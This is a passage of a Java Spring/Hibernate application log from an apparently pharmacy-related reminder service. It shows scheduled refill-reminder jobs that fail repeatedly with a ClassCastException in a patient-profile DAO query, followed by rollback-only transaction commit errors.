org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 09:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 09:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 09:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 09:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 09:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 09:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 09:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 09:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 09:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 09:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 09:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 09:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 09:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 09:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 09:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 09:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 09:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 09:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 09:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 09:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 09:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 09:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 09:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 09:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 09:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 09:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 09:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 09:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 09:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 09:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 09:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 09:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 09:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 09:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 09:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 09:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 09:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 09:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 09:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at 